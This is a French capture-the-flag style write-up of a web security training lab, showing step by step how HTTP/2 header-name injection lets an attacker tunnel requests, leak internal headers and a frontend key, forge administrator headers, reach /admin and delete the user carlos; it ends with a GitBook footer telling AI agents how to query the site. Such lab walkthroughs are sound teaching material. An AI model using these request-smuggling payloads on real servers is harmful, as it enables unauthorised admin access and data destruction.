> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/bypass-access-controls-via-http-2-tunneling.md).

# Contournement des contrôles d'accès via tunneling HTTP 2

### Contournement des contrôles d'accès via le tunneling de requêtes HTTP/2

#### **Description du laboratoire**

Ce laboratoire est vulnérable au request smuggling car le serveur frontal rétrograde les requêtes HTTP/2 en HTTP/1 tout en nettoyant incorrectement les noms d'en-têtes entrants. / Pour résoudre le laboratoire, vous devez accéder au panneau d'administration situé à **/admin** en tant qu'administrateur, puis supprimez l'utilisateur **carlos**.

Le serveur frontal ne réutilise pas la connexion avec le serveur interne, il n'est donc pas vulnérable aux attaques classiques de request smuggling. En revanche, il reste exposé à la **Réglage de HTTP/2**.

#### **Étude du comportement du serveur**

Commencez par insérer un en-tête personnalisé, par exemple :

{% code title="Nom :" %}

```http
Test : Test
Host: jord4n.pro
Valeur :
```

{% endcode %}

<pre class="language-http" data-title="Valeur :"><code class="lang-http"><strong>valeur
</strong></code></pre>

<figure><img src="/files/48bd21a72c2e8fae938f329f978dd59321201912" alt=""><figcaption></figcaption></figure>

Le serveur renvoie alors une erreur, indiquant que l'en-tête est injectable.

<figure><img src="/files/3c0798bbe5091298de36573a487dd5456ae06718" alt=""><figcaption></figcaption></figure>

Puis, si nous saisissons dans le moteur de recherche quelque chose comme :

{% code title="Nom" %}

```http
Test : testing
Content-Length: 100

search=test
```

{% endcode %}

<figure><img src="/files/28987441eb38f8e3b480706c38ac8a36ed9499c7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f112e22e8cd93d12190a218101d3eb99851fe24e" alt="" width="316"><figcaption></figcaption></figure>

le serveur frontal est perturbé par cet en-tête supplémentaire. / En augmentant le **Content-Length** à environ **150**, le serveur renvoie des en-têtes internes :

```http
cookie: session=hGFEdnaCHTLJR2gv68Qj600nBECAmCeL
X-SSL-VERIFIED: 0
X-SSL-CLIENT-CN: null
X-FRONTEND-KEY: 7732064356452682
```

<figure><img src="/files/5c35abd1a069f8567be0c0d2da0d749cc8d23f85" alt=""><figcaption></figcaption></figure>

#### **Construction de la requête tunnellisée**

Une nouvelle séquence d'en-têtes est maintenant injectée :

```http
Test : testing

GET /admin HTTP/1.1
Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 7732064356452682


```

Pour permettre au tunneling de fonctionner correctement, la méthode appropriée (HEAD ou GET selon le cas) et la route souhaitée sont placées.

<figure><img src="/files/3f09ec3573d614185d0367bd19ede2bb908131f9" alt=""><figcaption></figcaption></figure>

Le panneau d'administration est alors accessible, où les utilisateurs **wiener** et **carlos** apparaissent.

<figure><img src="/files/d5be7cedc996f3e8d934dfa986ae91f8e57f54f5" alt=""><figcaption></figcaption></figure>

#### **Suppression de l’utilisateur**

La suppression s'effectue en envoyant une requête tunnellisée similaire :

```http
Test : testing

GET /admin/delete?username=carlos HTTP/1.1
Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 7732064356452682


```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/bypass-access-controls-via-http-2-tunneling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
